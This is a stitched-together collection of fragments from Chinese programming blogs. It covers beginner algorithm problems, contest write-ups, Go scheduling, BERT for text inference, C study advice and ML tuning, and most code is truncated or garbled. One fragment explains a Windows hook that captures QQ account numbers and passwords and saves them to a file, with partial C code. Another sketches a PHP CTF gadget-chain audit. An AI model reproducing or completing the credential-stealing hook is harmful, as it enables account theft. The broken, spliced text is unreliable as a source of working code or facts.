这道题其实是蛮基础的一道题啦，只需输入分数然后筛选出最高分和最低分就行啦，这里在最后可能会出现小数的情况，所以我们就使用double类型啦。
今天继续做题目啦，平时以做题来巩固自己的知识，也是非常有必要的啦。但做题绝不是目的，重要的是我们能从一个题目中获取多少知识，在题目中总结做题方法，必要时可以写在笔记本上，或者记在Notion上。 下面为Notion使用方法，Notion可谓是记笔记软件中的佼佼者，管理非常方便。如用Notion点击下面即可 ? ? ? ： 最好用的记笔记软件（Notion）来了，没有之一 注：这道题要注意的是我们一定要判断好小鱼一开始游泳的几天是否为周末，以及最后游泳的一天是否为周末。 题目背景 让小鱼周末休息 题目描述 有一只小鱼，它平日每天游泳 250 公里，周末休息（实行双休日)，假设从周 x(1<=x<=7)开始算起，过了n(n<=10的6次方)天以后，小鱼一共累计游泳了多少公里呢 由于此题是今日写的，当时也只是过了，感觉写的代码还是有点多啊
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解题思路1 问题1提到，用[“产品星级评估”、“评论”、“评论星级评级”]对[“定量/定性模式（quantitative and/or qualitative patterns）”、“关系”、“度量/ 解题思路2 a) 要求中已指明，是基于“评级rating”和“评论review”来建模，其中评级可以包括产品星级评级和评论星级评级。 PS：这一问需要一定的“自然语言处理(NLP)”的能力，对评论的感情进行分析。因为人的语言蕴含的感情不是几个词就能表示的——“好产品！！！”、“这东西好到让我吐！” 最后，才能得出基于时间的度量方法和模式，才能分析基于时间模式的产品声誉变化。 c) 就是找一个方法来推测产品是否能推广成功，前提是“基于文本和评级“。 这个是前面我在a中提到的一点，如何对评论内容和评级进行关联。e题这一问确实需要对文本进行语义分析，确实涉及到“自然语言处理NLP”的知识。
小Bob发现洛谷的题集发生了变化哈，应该是增加了不少新题，于是就去随机写了一题，现分享出来： 题目描述 小鱼最近被要求参加一个数字游戏，要求它把看到的一串数字a以i为底（长度不一定，以 00 结束 ），记住了然后反着念出来（表示结束的数字 00 就不要念出来了）。 这对小鱼的那点记忆力来说实在是太难了，你也不想想小鱼的整个脑袋才多大，其中一部分还是好吃的肉！所以请你帮小鱼编程解决这个问题。 输入格式 一行内输入一串整数，以 00 结束，以空格间隔。 23 65 3 源代码如下： #include<stdio.h> #define m 100 int main() { int a[m], n, k[m], b, c; = n; for (b = 0; b < n; b++) { c--; k[b] = a[c]; } for (n = 0; n < b; n++
今天的文章我首先说一下上篇文章里的思考题的解决思路，我会给出完整可运行的代码。之后通过观察程序的运行结果里的现象简单介绍Go语言的调度器是如何对goroutine进行调度的。 select { case <-timer.C: fmt.Fprintln(os.Stderr, "Timeout! resultChan <- true return } } } 为了打印演示结果所以加了几处time.Sleep，这个程序更多的是提供思路框架 goroutine只存在于Go语言的运行时，它是Go语言在用户态提供的线程，作为一种粒度更细的资源调度单元，如果使用得当能够在高并发的场景下更高效地利用机器的CPU。 M Go语言并发模型中的M是操作系统线程。
于是，Travel团队通过对任务进行分析，将该问题转化为NLP领域的“自然语言推理” (NLI)任务，即判断给定的两段文本间的逻辑蕴含关系。 图3 数据增强策略 如果标题A与标题B一致，而标题A与标题C一致，那么可以得出结论，标题B与标题C一致。同理，如果标题A与标题B一致，而标题A与标题D不一致，那么可以得出结论，标题B与标题D也不一致。 基础模型 BERT是Google最新推出的基于双向Transformer的大规模预训练语言模型，在11项NLP任务中夺得SOTA结果，引爆了整个NLP界。 本赛题作为典型的自然语言推理（NLI）任务，需要提取新闻标题的高级语义特征，BERT的超强文本表征能力正好本赛题所需要的。 由于参赛时间所限，还有很多思路没有来及尝试，例如美团使用的BERT预训练模型是基于维基百科数据训练而得到的，而维基百科跟新闻在语言层面也存在较大的差异，所以可以将现有的BERT在新闻数据上进行持续地训练
在引入技术之后，相应的设备直接对工人的违规操作发出提醒，以及隐患报警等等，以一种全新的方式守护安全。 如今，越来越多的企业开始引入技术产品，来确保安全和高效的生产，这部分需求恰好是技术公司的蓝海市场。 2、场景+成本，技术公司的两大难题 有了市场，技术便有了落地的可能。 因此，技术公司面临的并非是单一的技术落地问题，而是如何减少研发成本、使产品形成行之有效的商业模式，为企业实现降本增效的问题。 在井工矿的综采工作面，传统的监管模式，依托大量的感知设备进行画面采集和人工实时监查。 “我们希望通过在行业的技术沉淀，结合在能源等行业的经验和理解，推出符合细分场景领域应用的产品和解决方案，来助力生产企业的安全管理。”任群表示。
笔者想到了多种解题思路，并给大家分享。 近十七万行代码，当然人工审计几乎是不可能的。那么我们的思考方向，大致为下图： 这是我们平时审计的步骤，当然也是编写poc的思路，但是在这道题中，可以看到这样方式的查找，最终的查找结果是一个树形结构。 /class.php'; # 题目的类文件$funcName = 'c83OsD'; # 初始查找方法$classes = get_declared_classes();$classesInfo 这种解法也是笔者第一次解出题目的解法，因为PHP本来就是一个非常灵活的语言，我们应该让它在一万个类中灵活起来。 简单demo举例： 为了可以让A可以自动查找到B，B可以自动查找到C，这里我们需要继承一个父类，然后定义一个__get魔术方法。
每日一句： 每个人的生命中总有那么一刻决定他们将成为什么样的人：是不是愿意让别人骑在头上。你不了解那个故事，就不了解那个人。 ——弗雷德里克·巴克曼《一个叫欧维的男人》 听说今日疫情除湖北以外的30个省区新增人数为个位数，看得出来各省都在积极发力呀，正如大家所说不获全胜，决不轻言成功。 如下为疫情最新数据： ? 题目描述 小玉开心的在游泳，可是她很快难过的发现，自己的力气不够，游泳好累哦。已知小玉第一步能游2米，可是随着越来越累，力气越来越小，她接下来的每一步都只能游出上一步距离的98%。 现在小玉想知道，如果要游到距离x米的地方，她需要游多少步呢。请你编程解决这个问题。 输入格式 输入一个数字（不一定是整数，小于100m），表示要游的目标距离。 此题的解法当然也不只一种，也可以用Python，C++等其他语言来解题。 欢迎大家积极投稿不同的代码，我会选出部分优秀的作品放在下篇文章，与大家分享交流 点赞关注~谢谢你~
资源限制 时间限制：1.0s 内存限制：256.0MB 问题描述 输入n个数，围成一圈，求连续m（m<n）个数的和最大为多少？ 输入格式 输入的第一行包含两个整数n, m。 输出格式 输出1行，包含一个整数，连续m个数之和的最大值。 样例输入 10 3 9 10 1 5 9 3 2 6 7 4 样例输出 23 数据规模和约定 0<m<n<1000, -32768<=输入的每个数<=32767。 ? static void main(String[] args) { int n = sc.nextInt();//n个数 int m = sc.nextInt();//求m个连续的数的最大和 (); Arrays.sort(objects); System.out.print((int)objects[objects.length-1]); } } 思路图
我花时间写这篇文章来给大家讲C语言的学习，当然是希望大家真正的学会、学懂C语言，并能够真正感觉到它的用处，所以很抱歉我不会像培训机构那样，告诉你“零基础”就能够开始学。 二、学C语言到底学些什么—— 「语法」和「函数库」 C语言学习的关键，是要先搞明白，学C语言到底是在学些什么？ 那是因为你看的是入门教材，着重讲解语法，顺带提到了少量的 C 语言自带的库函数而已。事实上 C 语言包含的库函数本身就有不少，但是更多更强大的还是许多第三方库函数，例如我上面提到的这些。 但我更建议你了解一些C语言之后再转过来看看会更好。 柴田望洋的《明解C语言》最近是一本广受欢迎的亲切的C语言入门书。 ，以及作者在实现时的思路讲解。
1.要【会学】C语言 跟着老师或者自学学完了C语言课本，合起来书，可以用自己的思路，大体描述出这本书从头到尾到底在干什么？为什么要先讲循环函数，而不是一开始就给你讲指针？这就是一个循序渐进的过程。 如果只是单纯的过完了课本，那就是为了学而学C语言，过不了多久什么都会忘的。 在这里，我还是要提到一本书，或许学习C语言的应该都要去读的一本书- C Primer Plus. 用心读完这本书，每读一遍，我相信你对C语言都有一个新看法。每次收获的新看法，潜意识里就会影响到你的编程思维，这本书的课后习题，几乎都是模仿生活案例，再引入问题。 比如，你在坐电梯的时候，可以试着去想一下，为什么我一按楼层按钮，电梯就会上或者下？为什么外面有人按了楼层按钮，电梯就会停？就这两个小问题，都可以用你学到的c语言做一个简单的解答。 马克思说：实践是检验真理的唯一标准。你说你懂，我不信，除非你能让我也懂。或者你能让一个真正懂得人，觉得你说的对的。这就真的懂了。 花点时间输出自己，尤其是在自己刚学的时候，很重要的。
解题思路会着重介绍HashMap散列表的动态空间变化，以及分析HashMap.containsKey(value)的时间复杂度。 示例: 给定 nums = [2, 7, 11, 15], target = 9 因为 nums[0] + nums[1] = 2 + 7 = 9 所以返回 [0, 1] 解题 学习过散列表之后解决这道题会很简单 100015的直接寻址表，而实际存储的数据只有五个。 所以，散列表可以利用合适的散列函数，将关键字散列到合适的槽中（散列表数组中的一个位置）。直接寻址表查找一个数，时间复杂度直接就是O(1)，查找非常快。 算一下16 * 0.75等于12，意味着，实际存储元素的个数超过12，就创建一个目前数组长度*2的新数组，将原数组里面的节点依次通过新的散列函数（因为数组长度也要变化）散列到新的数组中（新的散列表）。
基本概念 拓扑排序的英文名是 Topological sorting。 拓扑排序要解决的问题是给一个图的所有节点排序。有向无环图才有拓扑排序，非有向无环图没有。 序列必须满足的条件： 每个顶点出现且只出现一次。 若存在一条从顶点 A 到顶点 B 的路径，那么在序列中顶点 A 出现在顶点 B 的前面。 其余的，都要先修 2 门课 我们用 有向图 描述这种 依赖关系 (做事的先后关系)： ? 顶点 3、4、5 的 入度为 2 BFS 前准备工作 我们关心 课程的入度 —— 该值要被减，要被监控 我们关心 课程之间的依赖关系 —— 选这门课会减小哪些课的入度 因此我们需要合适的数据结构，去存储这些关系 ,这个可以通过哈希表 解题思路 维护一个 queue，里面都是入度为 0 的课程 选择一门课，就让它出列，同时 查看哈希表，看它 对应哪些后续课 将这些后续课的 入度 - 1，如果有减至 0 的，就将它推入
(3)钩子函数的解释。 (4)处理密码。 以下部分全是使用C语言，文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题，您可以查看MSDN或是上BBS 询问! 此内容也许全是密码，也许是QQ号+QQ密码 for(j=0;j<20;j++) { psw[j]=(TCHAR)pmsg[j*2].wParam ; } psw[j+1]=’\0’; //把QQ号码和QQ密码写入C盘 password.txt中 f=CreateFile(“c:\\password.txt”,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL strcat(total,”密码:”); strcat(total,psw); WriteFile(f,&total,sizeof(total),&dw,NULL); CloseHandle(f); } 最后在C盘 ，请大家千万别笑话，我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理，希望和大侠们交流!
现在的 APP 功能越来越庞大了，就拿我们熟悉的来说吧，现在已经很难找到没有信息流的 APP 了。像微信和支付宝这样的巨型 APP 来说，就更夸张了，简直是手机操作系统上的操作系统。 所以，Hybrid 模式渐渐开始流行， native + 小程序 的架构模式也成为趋势，它解决了巨型应用带来的问题，同时又有远超 H5 的体验。 当然，微信小程序已经成功开创了这样的模式。 自微信推出小程序开始，各大厂商都针对自己的平台推出了相应的小程序的方案，可以说是层出不穷，基本上每一个厂都有一个对应的小程序的一个方案（如下图所示）。 然而，各大厂商的小程序只能运行在自己生态内的 App 上，可不可以让我自己的 APP 里的功能，也以小程序的形式体现呢？ 也就是说，原来微信小程序的开发者，可以在不改代码的情况下，顺带手把这个小程序放在自己的 APP 里。同时，提供后台管理页面，可以统一管理自有和外部开发上架的小程序，以及对收集到的小程序数据进行分析。
之前讲了一些机器学习的算法和特征工程的东西，相信大家如果有一些数据也是可以建立出自己的模型了，但是，模型的效果却没有想象中那么好，那么，应该怎么做呢？ 具体策略： 获得更多的数据：一个好的深度学习模型需要更多的数据来训练，其他非线性的机器学习模型也是如此。 问题解决思路的重新思考：有的时候，你可以把你目前正在“焦头烂耳”想要解决的“预测性”问题，换成回归、分类、时间序列、异常检测、排序、推荐等等的问题。 从文献中找ideas：这个方法还经常做，从文献中可以了解到更多的经典算法在特定需要下的应用，通过对文献的阅读来扩充你的“解题”思路把。 3. 使用模型的方法集成：你也可以使用一个新的模型来学习如何结合多个性能不错的模型结果，输出一个最优的结合。
具体策略： 获得更多的数据：一个好的深度学习模型需要更多的数据来训练，其他非线性的机器学习模型也是如此。 问题解决思路的重新思考：有的时候，你可以把你目前正在“焦头烂耳”想要解决的“预测性”问题，换成回归、分类、时间序列、异常检测、排序、推荐等等的问题。 评价指标：不同的目标需要使用不同的评价指标，这个相信大家在学习混淆矩阵的时候应该有所了解，什么pv+，命中率等等，都是对于特定类型的目标有着非常有效的识别。 从文献中找ideas：这个方法还经常做，从文献中可以了解到更多的经典算法在特定需要下的应用，通过对文献的阅读来扩充你的“解题”思路把。 3. 使用模型的方法集成：你也可以使用一个新的模型来学习如何结合多个性能不错的模型结果，输出一个最优的结合。
和正常俄罗斯方块不太一样的是这个比赛随机种子被固定了，方块落下的顺序是固定的（方块数量也固定了 10000 的上限），而且得分和你消行时场地上存在的方块数量有关。 当方块被消除时，玩家得分。 1629020892;1629028092&q-key-time=1629020892;1629028092&q-header-list=&q-url-param-list=&q-signature=34c4c776c069e5d9d85a4982d83d8ac081985527 因此第一个可以优化的地方就是方块的行高 landing_height 这个参数，在高度较低的时候降低这个参数的权重，然后在高度足够的时候恢复这个参数。 因此接下来改变思路对 eltetris 的决策函数开刀。 不过此时仍有少部分位置需要手动调整行数临界值以免提前死亡，因此后续的优化思路就很明确了。
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